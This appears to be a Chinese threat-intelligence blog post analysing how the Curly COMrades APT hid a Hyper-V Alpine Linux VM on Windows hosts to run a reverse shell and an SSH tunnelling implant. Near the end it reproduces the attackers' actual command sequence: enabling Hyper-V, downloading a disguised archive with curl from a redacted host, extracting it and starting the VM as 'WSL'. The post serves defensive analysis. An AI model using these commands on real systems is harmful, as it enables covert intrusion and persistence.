一个名为“卷毛同志”(Curly COMrades)APT组织,利用Windows原生虚拟化功能,直接在受害者主机上为C2植入程序建立了一个隐蔽且隔离的运行基地。
这也是这起攻击最令人警惕的创新,是对合法虚拟化技术的恶意滥用。攻击者没有依赖复杂漏洞,而是直接利用 Windows 10 自带的 Hyper-V 虚拟化功能,在受害者主机上搭建了完全隔离的隐蔽环境。
攻击者在受感染的Windows机器上启用了Hyper-V功能,然后下载并导入了一个基于Alpine Linux的轻量级虚拟机,该虚拟机中包含了他们的恶意软件,从而能够持续且隐蔽地访问本地网络。

攻击始于 7 月初,攻击者通过两条远程命令启用 Hyper-V 功能并禁用管理界面,随后通过一系列伪装操作部署虚拟机:
1、先用 curl 命令进行非侵入式连接检查,验证网络可达性;
2、将包含虚拟机文件的压缩包伪装成视频文件(about.mp4)下载,实际保存为 1.rar;
3、提取虚拟机文件到仿冒系统目录
(c:\\programdata\\microsoft\\AppV\\app),规避常规检查;
4、用 PowerShell 命令导入并启动虚拟机,还将其命名为 “WSL”,伪装成常见的 Linux 子系统,降低被怀疑概率。
部署的虚拟机是一个针对特定受害者定制配置的操作环境。
它运行的是安全轻量级的Alpine Linux 系统,仅占用 120MB 的磁盘空间,内存配置为仅使用 256MB,最大限度降低系统资源占用,减少被检测风险。
这个极简环境的主要目的是托管定制的植入程序CurlyShell和CurlCat,为反向 shell 和反向代理操作提供一个专用的、隔离的基础平台。其极小的占用空间和体积最大限度地降低了被检测到的风险,同时又提供了攻击者所需的所有工具。
网络配置上,虚拟机使用 Hyper-V 默认交换机,通过 NAT 服务路由流量,所有恶意通信都伪装成主机的合法 IP 流量。
部分包含的文件也显示出针对被入侵域名的高度定制化。对虚拟机文件系统的检查发现,/etc/hosts文件中存在攻击者控制的域名到 IP 地址的映射,/etc /resolv.conf文件中存在特定的私有 DNS 服务器条目,这证实该虚拟机已被定制用于与 C2 基础设施通信。
攻击者还专门定制了网络配置文件,在 /etc/hosts 中映射控制域名,在 /etc/resolv.conf 中配置私有 DNS 服务器,确保与控制服务器的稳定通信。
而这个隐藏虚拟机的核心作用,是托管两款定制恶意软件,形成 “持久控制 + 流量转发” 的完整攻击链:
1. CurlyShell:持久反弹shell
作为核心植入程序,CurlyShell 通过 cron 任务实现根级持久化 —— 每 4 小时自动运行一次,建立 HTTPS 反向连接,接收攻击者的命令。它启动时会关闭标准输入、输出和错误流,以无头守护进程形式后台运行,完全隐藏自身痕迹。
2. CurlCat:流量隧道工具
CurlCat 负责管理 SSH 反向代理隧道,将所有出站 SSH 流量封装成普通 HTTP 请求,让恶意通信混入正常网络流量。它通过 SSH 配置指定为代理命令,所有连接都经攻击者控制的 SOCKS 代理转发,还使用专用密钥免密码登录控制服务器,确保通信隐蔽且稳定。
此外,攻击者还使用两款 PowerShell 脚本:一款通过 Kerberos 票据注入实现横向移动,另一款通过组策略创建本地账户,确保即使密码被修改也能持续访问。
总结下来,该攻击的核心隐蔽优势体现在多维度设计:
通过滥用系统原生 Hyper-V 功能、无需依赖漏洞即可绕过 EDR 检测,以独立虚拟机承载恶意软件实现与主机系统的隔离、让传统主机检测工具难以发现,同时借助 HTTP 封装 SSH 流量与伪造合法网络配置规避网络监测,最后依靠 cron 任务、组策略部署及本地账户创建等多种手段构建完善的持久化机制,确保对受害者系统的长期控制。
不过黑鸟更关注的是,如果电脑重启了,虚拟机是不是也会自启动,查了一下确实有这么个手动配置 VM 设置中的“自动启动”的选项(Automatic Start Action),不过原文没提到,估计会有设置。
详细技术细节看链接:
https://www.bitdefender.com/en-us/blog/businessinsights/curly-comrades-evasion-persistence-hidden-hyper-v-virtual-machines
值得贴一下攻击者部署虚拟机步骤:
执行两条远程命令,以启用微软Hyper-V虚拟化功能,同时禁用其管理界面:
dism /online /disable-feature /FeatureName:microsoft-hyper-v-Management-clients /norestartdism /online /enable-feature /All /LimitAccess /FeatureName:microsoft-hyper-v /norestart
几天后,开始部署虚拟机的阶段。所有命令都以“cmd.exe /C”为前缀,所有输出(包括标准输出1和标准错误输出2 )都被重定向到一个临时文件。
"cmd.exe" /C echo curl.exe http://<已编辑>.md | cmd > c:\\\\Programdata\\\\WindowsUpdateTask_H.tmp 2>&1这是为下一次下载进行的非侵入式连接检查。它使用了一种不常见的重定向模式,将curl.exe命令回显(打印到屏幕上)并将其通过管道传递给另一个cmd.exe进程执行。
"cmd.exe" /C echo curl.exe http://<已编辑>.md/about.mp4 -oc:\\\\programdata\\\\1.rar | cmd > c:\\\\Programdata\\\\WindowsUpdateTask_D.tmp 2>&1使用相同的重定向方法,伪装成视频文件(about.mp4 )的 RAR 压缩文件保存为1.rar 。
"cmd.exe" /C dir "c:\\\\program Files" > c:\\\\Programdata\\\\WindowsUpdateTask_X.tmp 2>&1接下来,对c:\\Program Files运行dir命令- 可能是为了验证是否存在所需文件,例如rar.exe (将在下一步中从此位置执行)。
"cmd.exe" /C "c:\\\\program files\\\\WinRAR\\\\rar.exe" xc:\\\\programdata\\\\1.rar c:\\\\programdata\\\\microsoft\\\\AppV\\\\app > c:\\\\Programdata\\\\WindowsUpdateTask_z.tmp 2>&1虚拟机文件(例如 VHDX 和 VMCX)被提取到具有欺骗性的c:\\\\programdata\\\\microsoft\\\\AppV\\\\app文件夹中。
"cmd.exe" /C powershell.exe -c import-vm -path "c:\\\\programdata\\\\microsoft\\\\AppV\\\\app\\\\Virtual Machines\\\\1DBCC80B-5803-4AF1-8772-712C688F408A.vmcx" -Copy -GenerateNewId > c:\\\\Programdata\\\\WindowsUpdateTask_t.tmp 2>&1然后使用Import-VM PowerShell cmdlet导入虚拟机。此 cmdlet将上一步中提取的预配置虚拟机文件 ( .vmcx ) 注册到本地 Hyper-V 管理器。
"cmd.exe" /C powershell.exe -c Start-VM -name WSL > c:\\\\Programdata\\\\WindowsUpdateTask_R.tmp 2>&1最后,使用Start-VM PowerShell cmdlet 启动这个新导入的虚拟机。
虽然WSL这个名称容易让人联想到 Windows 子系统 Linux 版 (WSL),但这其实是一种误导。
WSL 是一项允许用户在 Windows 系统中原生运行 Linux 环境的功能,而且由于它通常被认为是一种良性的开发工具,因此往往较少受到关注。
需要特别注意的是,尽管名称如此,但这个虚拟机实际上是一个完全隔离的 Hyper-V 实例,它与标准的 Windows 子系统 Linux 版框架完全分离,并且独立于框架之外。
声明:本文来自黑鸟,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。